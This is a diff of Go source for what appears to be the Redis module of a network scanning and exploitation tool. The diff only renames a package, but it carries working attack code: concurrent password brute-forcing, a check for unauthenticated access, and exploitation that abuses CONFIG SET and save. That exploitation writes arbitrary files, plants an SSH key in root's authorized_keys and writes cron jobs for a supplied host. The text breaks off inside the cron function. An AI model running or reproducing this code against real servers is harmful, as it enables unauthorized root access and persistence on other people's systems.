Details: map[string]interface{}{ Details: map[string]interface{}{
@ -119,11 +120,11 @@ func RedisScan(info *Common.HostInfo) error {
"password": result.Credential.Password, "password": result.Credential.Password,
}, },
} }
Common.SaveResult(scanResult) common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用 // 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") { if common.RedisFile != "" || common.RedisShell != "" || (common.RedisWritePath != "" && common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err == nil { if err == nil {
defer conn.Close() defer conn.Close()
@ -142,10 +143,10 @@ func RedisScan(info *Common.HostInfo) error {
// 检查是否因为全局超时 // 检查是否因为全局超时
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target)) common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target)) common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
return nil return nil
} }
} }
@ -163,9 +164,9 @@ func generateRedisCredentials(passwords []string) []RedisCredential {
} }
// concurrentRedisScan 并发扫描Redis服务 // concurrentRedisScan 并发扫描Redis服务
func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult { func concurrentRedisScan(ctx context.Context, info *common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -211,7 +212,7 @@ func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -232,14 +233,14 @@ func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Redis并发扫描全局超时") common.LogDebug("Redis并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryRedisCredential 尝试单个Redis凭据 // tryRedisCredential 尝试单个Redis凭据
func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult { func tryRedisCredential(ctx context.Context, info *common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -252,7 +253,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -267,7 +268,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -282,7 +283,7 @@ func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential R
} }
// attemptRedisAuth 尝试Redis认证 // attemptRedisAuth 尝试Redis认证
func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password string, timeoutMs int64) (bool, error) { func attemptRedisAuth(ctx context.Context, info *common.HostInfo, password string, timeoutMs int64) (bool, error) {
// 创建独立于全局超时的单个连接超时上下文 // 创建独立于全局超时的单个连接超时上下文
connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond) connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond)
defer cancel() defer cancel()
@ -329,12 +330,12 @@ func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password strin
} }
// RedisUnauth 尝试Redis未授权访问检测 // RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err error) { func RedisUnauth(ctx context.Context, info *common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost)) common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
// 创建带超时的连接 // 创建带超时的连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel() defer cancel()
connChan := make(chan struct { connChan := make(chan struct {
@ -343,7 +344,7 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
}, 1) }, 1)
go func() { go func() {
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
select { select {
case <-connCtx.Done(): case <-connCtx.Done():
if conn != nil { if conn != nil {
@ -360,7 +361,7 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
select { select {
case result := <-connChan: case result := <-connChan:
if result.err != nil { if result.err != nil {
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err)) common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
return false, result.err return false, result.err
} }
conn = result.conn conn = result.conn
@ -371,107 +372,107 @@ func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err err
defer conn.Close() defer conn.Close()
// 发送info命令测试未授权访问 // 发送info命令测试未授权访问
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost)) common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
if _, err = conn.Write([]byte("info\r\n")); err != nil { if _, err = conn.Write([]byte("info\r\n")); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err)) common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return false, err return false, err
} }
// 读取响应 // 读取响应
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err)) common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return false, err return false, err
} }
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply))) common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
// 检查未授权访问 // 检查未授权访问
if !strings.Contains(reply, "redis_version") { if !strings.Contains(reply, "redis_version") {
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost)) common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
return false, nil return false, nil
} }
// 发现未授权访问,获取配置 // 发现未授权访问,获取配置
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost)) common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost) result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result) common.LogSuccess(result)
return true, err return true, err
} }
// 输出详细信息 // 输出详细信息
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result) common.LogSuccess(result)
return true, nil return true, nil
} }
// RedisConn 尝试Redis连接 // RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) { func RedisConn(info *common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass)) common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
// 建立TCP连接 // 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("连接失败: %v", err)) common.LogDebug(fmt.Sprintf("连接失败: %v", err))
return false, err return false, err
} }
defer conn.Close() defer conn.Close()
// 设置超时 // 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err)) common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
return false, err return false, err
} }
// 发送认证命令 // 发送认证命令
authCmd := fmt.Sprintf("auth %s\r\n", pass) authCmd := fmt.Sprintf("auth %s\r\n", pass)
Common.LogDebug("发送认证命令") common.LogDebug("发送认证命令")
if _, err = conn.Write([]byte(authCmd)); err != nil { if _, err = conn.Write([]byte(authCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err)) common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
return false, err return false, err
} }
// 读取响应 // 读取响应
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return false, err return false, err
} }
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply)) common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
// 认证成功 // 认证成功
if strings.Contains(reply, "+OK") { if strings.Contains(reply, "+OK") {
Common.LogDebug("认证成功,获取配置信息") common.LogDebug("认证成功,获取配置信息")
// 获取配置信息 // 获取配置信息
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass) result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
Common.LogSuccess(result) common.LogSuccess(result)
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err)) common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
return true, err return true, err
} }
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s", result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
realhost, pass, dir, dbfilename) realhost, pass, dir, dbfilename)
Common.LogSuccess(result) common.LogSuccess(result)
return true, nil return true, nil
} }
Common.LogDebug("认证失败") common.LogDebug("认证失败")
return false, fmt.Errorf("认证失败") return false, fmt.Errorf("认证失败")
} }
// ExploitRedis 执行Redis漏洞利用 // ExploitRedis 执行Redis漏洞利用
func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, password string) error { func ExploitRedis(ctx context.Context, info *common.HostInfo, conn net.Conn, password string) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost)) common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
// 如果配置为不进行测试则直接返回 // 如果配置为不进行测试则直接返回
if Common.DisableRedis { if common.DisableRedis {
Common.LogDebug("Redis漏洞利用已禁用") common.LogDebug("Redis漏洞利用已禁用")
return nil return nil
} }
@ -480,7 +481,7 @@ func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, pas
if dbfilename == "" || dir == "" { if dbfilename == "" || dir == "" {
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err)) common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
return err return err
} }
} }
@ -493,145 +494,145 @@ func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, pas
} }
// 支持任意文件写入 // 支持任意文件写入
if Common.RedisWritePath != "" && Common.RedisWriteContent != "" { if common.RedisWritePath != "" && common.RedisWriteContent != "" {
Common.LogDebug(fmt.Sprintf("尝试写入文件: %s", Common.RedisWritePath)) common.LogDebug(fmt.Sprintf("尝试写入文件: %s", common.RedisWritePath))
// 提取目录和文件名 // 提取目录和文件名
filePath := Common.RedisWritePath filePath := common.RedisWritePath
dirPath := filepath.Dir(filePath) dirPath := filepath.Dir(filePath)
fileName := filepath.Base(filePath) fileName := filepath.Base(filePath)
Common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName)) common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
success, msg, err := writeCustomFile(conn, dirPath, fileName, Common.RedisWriteContent) success, msg, err := writeCustomFile(conn, dirPath, fileName, common.RedisWriteContent)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err)) common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success { } else if success {
Common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath)) common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
} else { } else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg)) common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
} }
} }
// 支持从本地文件读取并写入 // 支持从本地文件读取并写入
if Common.RedisWritePath != "" && Common.RedisWriteFile != "" { if common.RedisWritePath != "" && common.RedisWriteFile != "" {
Common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", Common.RedisWriteFile, Common.RedisWritePath)) common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", common.RedisWriteFile, common.RedisWritePath))
// 读取本地文件内容 // 读取本地文件内容
fileContent, err := os.ReadFile(Common.RedisWriteFile) fileContent, err := os.ReadFile(common.RedisWriteFile)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("读取本地文件失败: %v", err)) common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
} else { } else {
// 提取目录和文件名 // 提取目录和文件名
dirPath := filepath.Dir(Common.RedisWritePath) dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(Common.RedisWritePath) fileName := filepath.Base(common.RedisWritePath)
success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent)) success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent))
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err)) common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success { } else if success {
Common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", Common.RedisWriteFile, Common.RedisWritePath)) common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", common.RedisWriteFile, common.RedisWritePath))
} else { } else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg)) common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
} }
} }
} }
// 支持向SSH目录写入密钥向后兼容 // 支持向SSH目录写入密钥向后兼容
if Common.RedisFile != "" { if common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile)) common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", common.RedisFile))
success, msg, err := writekey(conn, Common.RedisFile) success, msg, err := writekey(conn, common.RedisFile)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err)) common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
} else if success { } else if success {
Common.LogSuccess(fmt.Sprintf("SSH密钥写入成功")) common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
} else { } else {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg)) common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
} }
} }
// 支持写入定时任务(向后兼容) // 支持写入定时任务(向后兼容)
if Common.RedisShell != "" { if common.RedisShell != "" {
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell)) common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", common.RedisShell))
success, msg, err := writecron(conn, Common.RedisShell) success, msg, err := writecron(conn, common.RedisShell)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("定时任务写入失败: %v", err)) common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
} else if success { } else if success {
Common.LogSuccess(fmt.Sprintf("定时任务写入成功")) common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
} else { } else {
Common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg)) common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
} }
} }
// 恢复数据库配置 // 恢复数据库配置
Common.LogDebug("开始恢复数据库配置") common.LogDebug("开始恢复数据库配置")
if err = recoverdb(dbfilename, dir, conn); err != nil { if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err)) common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
} else { } else {
Common.LogDebug("数据库配置恢复成功") common.LogDebug("数据库配置恢复成功")
} }
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost)) common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
return nil return nil
} }
// writeCustomFile 向指定路径写入自定义内容 // writeCustomFile 向指定路径写入自定义内容
func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) { func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName)) common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
flag = false flag = false
// 设置文件目录 // 设置文件目录
Common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath)) common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err)) common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 设置文件名 // 设置文件名
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName)) common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err)) common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 写入内容 // 写入内容
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("写入文件内容") common.LogDebug("写入文件内容")
// 处理多行内容,添加换行符 // 处理多行内容,添加换行符
safeContent := strings.ReplaceAll(content, "\"", "\\\"") safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n") safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil {
Common.LogDebug(fmt.Sprintf("写入内容失败: %v", err)) common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 保存更改 // 保存更改
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("保存更改") common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil { if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err)) common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("文件写入成功") common.LogDebug("文件写入成功")
flag = true flag = true
} }
} }
@ -643,79 +644,79 @@ func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag boo
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
Common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text)) common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err return flag, text, err
} }
// writekey 向Redis写入SSH密钥 // writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename)) common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
flag = false flag = false
// 设置文件目录为SSH目录 // 设置文件目录为SSH目录
Common.LogDebug("设置目录: /root/.ssh/") common.LogDebug("设置目录: /root/.ssh/")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err)) common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 设置文件名为authorized_keys // 设置文件名为authorized_keys
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("设置文件名: authorized_keys") common.LogDebug("设置文件名: authorized_keys")
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err)) common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 读取并写入SSH密钥 // 读取并写入SSH密钥
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
// 读取密钥文件 // 读取密钥文件
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename)) common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
key, err := Readfile(filename) key, err := Readfile(filename)
if err != nil { if err != nil {
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err) text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
Common.LogDebug(text) common.LogDebug(text)
return flag, text, err return flag, text, err
} }
if len(key) == 0 { if len(key) == 0 {
text = fmt.Sprintf("密钥文件 %s 为空", filename) text = fmt.Sprintf("密钥文件 %s 为空", filename)
Common.LogDebug(text) common.LogDebug(text)
return flag, text, err return flag, text, err
} }
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key))) common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
// 写入密钥 // 写入密钥
Common.LogDebug("写入密钥内容") common.LogDebug("写入密钥内容")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err)) common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 保存更改 // 保存更改
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("保存更改") common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil { if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err)) common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("SSH密钥写入成功") common.LogDebug("SSH密钥写入成功")
flag = true flag = true
} }
} }
@ -727,51 +728,51 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text)) common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err return flag, text, err
} }
// writecron 向Redis写入定时任务 // writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) { func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host)) common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
flag = false flag = false
// 首先尝试Ubuntu系统的cron路径 // 首先尝试Ubuntu系统的cron路径
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/") common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err)) common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 如果Ubuntu路径失败尝试CentOS系统的cron路径 // 如果Ubuntu路径失败尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") { if !strings.Contains(text, "OK") {
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/") common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err)) common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
} }
// 如果成功设置目录,继续后续操作 // 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
